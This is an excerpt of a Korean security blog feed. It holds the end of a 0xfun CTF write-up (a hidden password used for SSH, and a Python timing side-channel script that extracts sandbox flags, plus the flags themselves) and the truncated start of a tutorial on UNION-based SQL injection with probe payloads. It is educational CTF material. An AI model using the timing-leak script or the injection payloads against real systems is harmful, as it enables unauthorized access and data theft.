&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;920&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eky1dB/dJMcagLePAd/L1iXRWLIoR6183Rk7BQAi0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eky1dB/dJMcagLePAd/L1iXRWLIoR6183Rk7BQAi0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eky1dB/dJMcagLePAd/L1iXRWLIoR6183Rk7BQAi0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Feky1dB%2FdJMcagLePAd%2FL1iXRWLIoR6183Rk7BQAi0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;920&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;920&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;765&quot; data-origin-height=&quot;379&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OocIJ/dJMcaajWLOZ/by5nd42xeQjNdHH4fykKp0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OocIJ/dJMcaajWLOZ/by5nd42xeQjNdHH4fykKp0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OocIJ/dJMcaajWLOZ/by5nd42xeQjNdHH4fykKp0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOocIJ%2FdJMcaajWLOZ%2Fby5nd42xeQjNdHH4fykKp0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;765&quot; height=&quot;379&quot; data-origin-width=&quot;765&quot; data-origin-height=&quot;379&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인 페이지에서 SQLi로 푸는 문제인가.. 했는데 적힌것 처럼 로그인 서비스가 재대로 작동하지 않았습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해서 개발자도구에서 소스코드를 보다보니&lt;/p&gt;
&lt;pre id=&quot;code_1771159421933&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;en&quot;&amp;gt;
&amp;lt;head&amp;gt;
  &amp;lt;meta charset=&quot;UTF-8&quot; /&amp;gt;
  &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;/&amp;gt;
  &amp;lt;title&amp;gt;Secret Post&amp;lt;/title&amp;gt;
  &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/style.css&quot; /&amp;gt;
  &amp;lt;script src=&quot;/links.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
  &amp;lt;header class=&quot;header&quot;&amp;gt;
    &amp;lt;h1 id=&quot;name&quot;&amp;gt;[placeholder]'s Blog&amp;lt;/h1&amp;gt;
  &amp;lt;/header&amp;gt;

  &amp;lt;div class=&quot;container&quot;&amp;gt;
    &amp;lt;aside class=&quot;sidebar&quot;&amp;gt;
      &amp;lt;h2&amp;gt;Pages ✨&amp;lt;/h2&amp;gt;
      &amp;lt;nav&amp;gt;
        &amp;lt;ul id=&quot;navlist&quot;&amp;gt;
        &amp;lt;/ul&amp;gt;
      &amp;lt;/nav&amp;gt;
    &amp;lt;/aside&amp;gt;

    &amp;lt;main class=&quot;content&quot;&amp;gt;
      &amp;lt;h2&amp;gt;Secret Post&amp;lt;/h2&amp;gt;
      &amp;lt;br&amp;gt;
      &amp;lt;img src=&quot;/img/mystery.jpg&quot; alt=&quot;How mysterious&quot; /&amp;gt;
      &amp;lt;p&amp;gt;
        Thought I'd make things a bit fun and hide a password on this page. When I get the login page working it will let you see some extra posts...
        &amp;lt;!-- Use my name and 'UlLOPNeEak9rFfmL' to log in --&amp;gt;
      &amp;lt;/p&amp;gt;
    &amp;lt;/main&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주석에 패스워드가 적혀있었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;id의 경우 /name 엔드포인트에 요청해보니 Charlie 라는걸 알 수 있었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해서 아이디는 Charlie, 패스워드는 UlLOPNeEak9rFfmL 라고 파악했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제는 login 페이지가 작동을 안하는 상태인데, 이 계정을 어떻게 쓸 지 감을 못잡았습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해서 클로드에게 좀 물어보다보니, SSH의 계정이지 않을까 라는 추측을 하게 되었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 설명을 보면, 하나의 포트에서 여러 서비스를 처리한다고 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해서 curl로 문제 서버 포트에 ssh 연결 요청을 보내보았습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1771160426768&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ssh Charlie@chall.0xfun.org -p 54919&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;302&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bA2ylb/dJMcaiCfhAX/tyHv8grO9YRSdtAKd7w441/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bA2ylb/dJMcaiCfhAX/tyHv8grO9YRSdtAKd7w441/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bA2ylb/dJMcaiCfhAX/tyHv8grO9YRSdtAKd7w441/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbA2ylb%2FdJMcaiCfhAX%2FtyHv8grO9YRSdtAKd7w441%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;960&quot; height=&quot;302&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;302&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;놀랍게도 정답이었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비밀번호는 주석에서 알아낸 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;UlLOPNeEak9rFfmL를 입력해주니 통과가 되었습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;328&quot; data-origin-height=&quot;315&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Mhynm/dJMcabC9SeY/aFOYytsXpZQOYfoyR7zwwk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Mhynm/dJMcabC9SeY/aFOYytsXpZQOYfoyR7zwwk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Mhynm/dJMcabC9SeY/aFOYytsXpZQOYfoyR7zwwk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMhynm%2FdJMcabC9SeY%2FaFOYytsXpZQOYfoyR7zwwk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;328&quot; height=&quot;315&quot; data-origin-width=&quot;328&quot; data-origin-height=&quot;315&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바로 쉘에 접속하게 되어서 파일들을 보다보니 누가봐도 플래그가 있는 파일을 찾았고&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;485&quot; data-origin-height=&quot;481&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dqXyKW/dJMcacIQc22/9F9vN5zA6lO4UEcMFYtJNk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dqXyKW/dJMcacIQc22/9F9vN5zA6lO4UEcMFYtJNk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dqXyKW/dJMcacIQc22/9F9vN5zA6lO4UEcMFYtJNk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdqXyKW%2FdJMcacIQc22%2F9F9vN5zA6lO4UEcMFYtJNk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;485&quot; height=&quot;481&quot; data-origin-width=&quot;485&quot; data-origin-height=&quot;481&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;flag.txt를 열어보니 위처럼 플래그를 얻을 수 있었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;FLAG : 0xfun{p3rsp3c71v3.15.k3y}&lt;/b&gt;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4. Schr&amp;ouml;dinger's Sandbox&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;497&quot; data-origin-height=&quot;578&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bp5ibZ/dJMcagLePSL/AutT0NkEKXUFfLq3NhNBWk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bp5ibZ/dJMcagLePSL/AutT0NkEKXUFfLq3NhNBWk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bp5ibZ/dJMcagLePSL/AutT0NkEKXUFfLq3NhNBWk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbp5ibZ%2FdJMcagLePSL%2FAutT0NkEKXUFfLq3NhNBWk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;497&quot; height=&quot;578&quot; data-origin-width=&quot;497&quot; data-origin-height=&quot;578&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;좀 특이한 문제였습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 서버에 접속하면 아래처럼 코드를 실행 시킬 수 있는 페이지가 나타납니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;998&quot; data-origin-height=&quot;919&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bBMLAw/dJMcadOrhFh/TOrVHSzCGecuzZX4zOFfc1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bBMLAw/dJMcadOrhFh/TOrVHSzCGecuzZX4zOFfc1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bBMLAw/dJMcadOrhFh/TOrVHSzCGecuzZX4zOFfc1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbBMLAw%2FdJMcadOrhFh%2FTOrVHSzCGecuzZX4zOFfc1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;998&quot; height=&quot;919&quot; data-origin-width=&quot;998&quot; data-origin-height=&quot;919&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파이썬 코드를 실행하면 A와 B에서 코드가 실행되고, 그 시간을 보여줬습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;978&quot; data-origin-height=&quot;811&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/23ijQ/dJMcab4cP06/ogpYgsJrfjVgqPy6QV0FkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/23ijQ/dJMcab4cP06/ogpYgsJrfjVgqPy6QV0FkK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/23ijQ/dJMcab4cP06/ogpYgsJrfjVgqPy6QV0FkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F23ijQ%2FdJMcab4cP06%2FogpYgsJrfjVgqPy6QV0FkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;978&quot; height=&quot;811&quot; data-origin-width=&quot;978&quot; data-origin-height=&quot;811&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 설명을 보면 같은 코드가 각각 A와 B에서 실행되고, 실행되는 값이 동일 할 때 OUTPUT에 출력되는 구조라는걸 알 수 있었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해서 아마 진짜 플래그와 가짜 플래그가 각각 A와 B에 숨겨져 있을 것이고, 시간을 보여주는걸 보니 코드가 실행되는 시간의 차이로 진짜 플래그를 찾아야하는 것 같습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1771160785862&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import time
flag = open(&quot;/flag.txt&quot;).read()
if flag[0] == '0':
    time.sleep(2)
print(&quot;done&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런식으로 출력은 done으로 고정하여 두 서버가 동일한 출력을 하게 시키고, 대신 if문으로 flag의 첫 값이 0이라면 2초를 지연시키게 함으로써 두 플래그를 모두 알아보았습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예로 첫글자가 0이라면 아래 지연시간에 2s가 적힐 것이고, 아니라면 0.01에 가까운 시간이 찍힐 것 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해서 파이썬으로 자동화코드를 짜서 해결하였습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1771160908061&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import requests
import hashlib
import time
import string
import random

URL = &quot;http://chall.0xfun.org:40842&quot;
KNOWN = &quot;0xfun{&quot;
SLEEP_TIME = 2
TIME_THRESHOLD = 1.0  

CHARSET = (
    string.ascii_lowercase +
    &quot;_&quot; +
    string.digits +
    string.ascii_uppercase +
    &quot;-!}&quot;
)

def compute_pow(difficulty=4):
    target = '0' * difficulty
    while True:
        test = f&quot;{int(time.time()*1000)}-{random.randint(0,999999)}-{random.random()}&quot;
        if hashlib.sha256(test.encode()).hexdigest().startswith(target):
            return test

def submit_code(code):
    pow_nonce = compute_pow(4)
    try:
        response = requests.post(
            f&quot;{URL}/api/submit&quot;,
            json={&quot;code&quot;: code},
            headers={
                &quot;Content-Type&quot;: &quot;application/json&quot;,
                &quot;X-Pow-Nonce&quot;: pow_nonce
            },
            timeout=30
        )
        return response.json()
    except Exception as e:
        print(f&quot;  요청 실패: {e}&quot;)
        return {&quot;error&quot;: str(e)}

def test_char(position, char):
    code = f&quot;&quot;&quot;import time
flag = open(&quot;/flag.txt&quot;).read()
if len(flag) &amp;gt; {position} and flag[{position}] == {repr(char)}:
    time.sleep({SLEEP_TIME})
print(&quot;done&quot;)
&quot;&quot;&quot;
    result = submit_code(code)

    if 'error' in result:
        print(f&quot;  에러: {result['error']}&quot;)
        return None

    time_a = result.get('time_a', 0)
    time_b = result.get('time_b', 0)
    status = result.get('status', '?')

    a_hit = time_a &amp;gt; TIME_THRESHOLD
    b_hit = time_b &amp;gt; TIME_THRESHOLD

    if a_hit and b_hit:
        label = &quot;&amp;lt;&amp;lt;&amp;lt; BOTH (둘 다 이 문자)&quot;
    elif a_hit:
        label = &quot;&amp;lt;&amp;lt;&amp;lt; A only&quot;
    elif b_hit:
        label = &quot;&amp;lt;&amp;lt;&amp;lt; B only&quot;
    else:
        label = &quot;&quot;

    print(f&quot;  [{char}] a={time_a:.4f} b={time_b:.4f} {status} {label}&quot;)

    return {
        &quot;char&quot;: char,
        &quot;a_hit&quot;: a_hit,
        &quot;b_hit&quot;: b_hit,
        &quot;time_a&quot;: time_a,
        &quot;time_b&quot;: time_b,
    }

def extract_flag():
    # 검증 테스트
    print(&quot;[*] 검증: flag[0]=='0' 테스트&quot;)
    r = test_char(0, '0')
    print()

    flag_a = KNOWN  # Sandbox A의 플래그
    flag_b = KNOWN  # Sandbox B의 플래그
    print(f&quot;[*] 시작: {KNOWN}&quot;)
    print(f&quot;[*] 위치 {len(KNOWN)}부터 탐색\n&quot;)

    for pos in range(len(KNOWN), 100):
        print(f&quot;--- 위치 {pos} ---&quot;)
        a_found = False
        b_found = False
        a_char = &quot;?&quot;
        b_char = &quot;?&quot;

        for char in CHARSET:
            r = test_char(pos, char)

            if r is None:
                continue

            if r[&quot;a_hit&quot;] and not a_found:
                a_char = char
                a_found = True
            if r[&quot;b_hit&quot;] and not b_found:
                b_char = char
                b_found = True

            # 둘 다 찾았으면 다음 위치로
            if a_found and b_found:
                break

            time.sleep(0.3)

        flag_a += a_char
        flag_b += b_char
        print(f&quot;\n[+] A: {flag_a}&quot;)
        print(f&quot;[+] B: {flag_b}\n&quot;)

        # 둘 다 못 찾으면 종료
        if not a_found and not b_found:
            print(f&quot;[!] 위치 {pos}에서 둘 다 매칭 실패. 종료.&quot;)
            break

        # 둘 다 }를 만나면 종료
        if a_char == '}' and b_char == '}':
            break


    print(f&quot;\n=============================&quot;)
    print(f&quot;[*] Sandbox A 플래그: {flag_a}&quot;)
    print(f&quot;[*] Sandbox B 플래그: {flag_b}&quot;)
    print(f&quot;=============================&quot;)

if __name__ == &quot;__main__&quot;:
    extract_flag()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;959&quot; data-origin-height=&quot;479&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dZUY2c/dJMcaiWxsuy/uKgUDzOlKBMoTRMRvibkA0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dZUY2c/dJMcaiWxsuy/uKgUDzOlKBMoTRMRvibkA0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dZUY2c/dJMcaiWxsuy/uKgUDzOlKBMoTRMRvibkA0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdZUY2c%2FdJMcaiWxsuy%2FuKgUDzOlKBMoTRMRvibkA0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;959&quot; height=&quot;479&quot; data-origin-width=&quot;959&quot; data-origin-height=&quot;479&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;FLAG : 0xfun{schr0d1ng3r_c4t_l34ks_thr0ugh_t1m3}&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CTF가 끝나기 4시간전에 대회하는걸 알아채서 쉬운문제만 좀 풀다가 끝났네요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;더 하고싶었는데 아쉬운 대회였습니다.&lt;/p&gt;</description>
      <category>보안/CTF</category>
      <author>윤형주</author>
      <guid isPermaLink="true">https://yoongarret.tistory.com/193</guid>
      <comments>https://yoongarret.tistory.com/193#entry193comment</comments>
      <pubDate>Sun, 15 Feb 2026 22:28:03 +0900</pubDate>
    </item>
    <item>
      <title>웹 해킹  - SQLi UNION에 대하여</title>
      <link>https://yoongarret.tistory.com/192</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;블랙박스 문제 중 SQLi 문제들을 풀때 막막한 부분들이 있었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 기회에 그런 문제들을 풀 때를 대비하여 여러가지 사고흐름들을 정리해보고자 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. SQLi 존재 여부 확인&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;url에 get으로 페이지 인덱스 부분에 값이 들어가고, 혹은 회원가입이나 로그인 창에서 id, pw를 입력하는 칸에 저희가 원하는 값을 넣을 수 있습니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 상황에서 SQLi가 작동하는지, 작동하면 어느 부분에서 어떤 쿼리로써 코드가 작성되어있는지를 확인해야합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;입력포인트에 SQL 에러를 유도하며 값을 넣어봅니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;'&amp;nbsp;&amp;rarr; SQL 쿼리 닫기&lt;/li&gt;
&lt;li&gt;&quot; &amp;rarr; 같은 맥락&lt;/li&gt;
&lt;li&gt;\ &amp;rarr; 이스케이프 처리 확인&lt;/li&gt;
&lt;li&gt;' or 1=1 &amp;rarr; 늘 보던 참 거짓 비교&lt;/li&gt;
&lt;li&gt;' or 1=2 &amp;rarr; 거짓을 유도하여 빈 페이지나 에러 등 다른 응답 확인&lt;/li&gt;
&lt;li&gt;' and sleep(3) &amp;rarr; 시간 기반 SQLi 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. 입력값에 대한 추론&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드를 보여주지 않는 상태에서는 쿼리의 구조를 모릅니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;때문에 쿼리 구조를 유추해가며 쿼리를 무력화시켜야합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주로 입력넣은 값의 뒤에오는 원래 쿼리를 무력화하는것을 목표로합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;1 또는 1' &amp;rarr; 따옴표를 하나 더 넣음으로써 문법에러를 유도, 그걸 통해서 SQLi 가능성을 추론합니다.&lt;/li&gt;
&lt;li&gt;1) -- &amp;rarr; 괄호를 감쌌을 때 에러가 나지 않으면 괄호를 이용한 구조&lt;/li&gt;
&lt;li&gt;--, # 등 &amp;rarr; 주석 처리가 되는지 시도&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3. UNION 사용 가능 여부&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;유니온문이 가능할려면 조건이 있습니다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;쿼리가 select 문이어야 함.&lt;/li&gt;
&lt;li&gt;결과가 화면에 출력되어야 함.(아닐시 블라인드로)&lt;/li&gt;
&lt;li&gt;union 키워드가 필터링되지 않아야 함.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특히 정상 요청을 보냈을 때 쿼리 결과가 페이지에 보이는것이 중요합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;유니온문을 넣었을 때 blocked나 forbidden 같은 반응이면 우회가 필요하다는거고, SQL 에러면 파싱은 되었다는것 이기에 유니온문이 가능하다는 판단을 할 수 있습니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4. 컬럼 수 맞추기&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;유니온 문은 select문의 컬럼 수가 같아야만 합니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;때문에 컬럼 수를 맞춰가면서 알맞은 컬럼 수를 찾아야합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. order by 절 사용&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;1 ORDER BY 1 -- &amp;rarr; 정상&lt;/li&gt;
&lt;li&gt;1 ORDER BY 2 -- &amp;rarr; 정상&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;1 ORDER BY 3&lt;span&gt; -- &amp;rarr; 에러&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;이런 상황이라면 컬럼 수가 3일 때 에러가 났으므로 쿼리에 컬럼이 2라는것을 알 수 있습니다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. union select 문의 컬럼수 늘려보기&lt;/p&gt;
